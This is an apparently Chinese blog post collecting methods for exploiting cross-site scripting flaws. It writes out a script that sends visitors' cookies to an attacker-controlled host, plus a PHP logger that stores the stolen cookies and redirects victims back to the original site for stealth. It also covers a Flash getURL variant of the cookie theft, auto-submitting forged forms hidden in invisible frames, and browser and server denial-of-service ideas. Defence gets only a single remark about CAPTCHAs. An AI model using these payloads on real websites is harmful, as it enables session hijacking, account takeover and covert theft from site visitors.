跨站脚本漏洞的利用

所谓跨站脚本漏洞,小弟认为是指用户能够在网页 上添加任意HTML代码并使其被浏览器执行的漏洞。小弟认为此漏洞跟跨站脚本没 有必然联系,只不过此漏洞的通常利用方法都要结合另一站点(通常是可以自己控制的)上的脚本才能完成,故得名。

本文仅收集X档案曾刊登的对此漏洞的利用方法,权当小结,并未进行创新。希望能抛砖引玉,众大虾发现有什么 错漏请指正和补充。

一、攻击代码
1、偷取cookie的代码:
<script>window.open("http://www.yoursite.com/recordcookie.php?"+document.cookie)</script>
注:
(1) http://www.yoursite.com/recordcookie.php 是可以自 己控制的脚本,功能是要从页面参数中获得并保存 信息(对于本例的“信息”就是cookie)
(2) 一个recordcookie.php样本:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://www.originalsite.com ");
?>
最后一句转回原来的站点使增加隐蔽性
(3) 如把脚本中的“window.open”替换为“location = ”,则不会打开新窗口,但变成凡进入显示包含该<script>脚本的页面都会跳转到你的recordcookie.php。如果你的 recordcookie.php最后一句跳转回的地址又包含该<script>脚本,则可能会出现死循环。

2、拒绝服务(DoS)攻击
(1) 攻击浏览用户:写入死循环脚本,使用户浏览器死循环
(2) 攻击其它服务器:在漏洞站写入访问目标服务器的脚本,当有大量用户浏览漏洞站时,就会耗尽目标服务器的脚本。
注:不知道把目标服务器设定为漏洞站时会有什么后果。

3、伪造表单并使自动提交
先写入伪造的表单,并在后面加上如下代码使其自动提交:
<script>this.document.forms[0].submit()</script>
注:
(1) 由于提交表单会使页面跳转,所以最好把伪造的表单和那段<script>防于一个0高0宽的框架中。
(2) 由于伪造的表单无法获得并输入验证码,所以采用验证码可预防此漏洞。

二、漏洞所在
1、动态网页程序没有对输入数据过滤HTML标签,则直接在输入数据中嵌入攻击代码。
2、早年IE存在img标签漏洞,如果img标签中的src指向一个文本文件,这个文本文件会被视为HTML而被IE执行。对于允许上传图片,或能使页面 出现可控的img标签(例如论坛中有时支持诸如 的标签以允许贴图),则可利用此漏洞。使受控的img标签的src属性指向一个自己做的“图片”,当然这个“图片”其实是文本文 件,其中是攻击代码。例如在论坛中发一个帖子,内容是 ,然后用记事本写一段攻击代码,并另存为css.gif(注意扩展名是gif),上传到yoursite.com上,浏览这个帖子 的人就会中招。但是打了补丁的IE恐怕不会受此影响。
3、利用flash,只要能在页面中嵌入可控的flash,然后利用flash的getURL函数。例如在论坛发个帖子,内容是 [flash]http://www.yoursite.com/css.swf[/flash],然后做一个flash,动作中要加上 “getURL("javascript:攻击代码");”,例如获取cookie的代码是 getURL("javascript:window.open('http://www.yoursite.com /recordcookie.php?'+document.cookie)");,保存并上传到www.yoursite.com/css.swf ,当然recordcookie.php也要 准备好才能工作。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值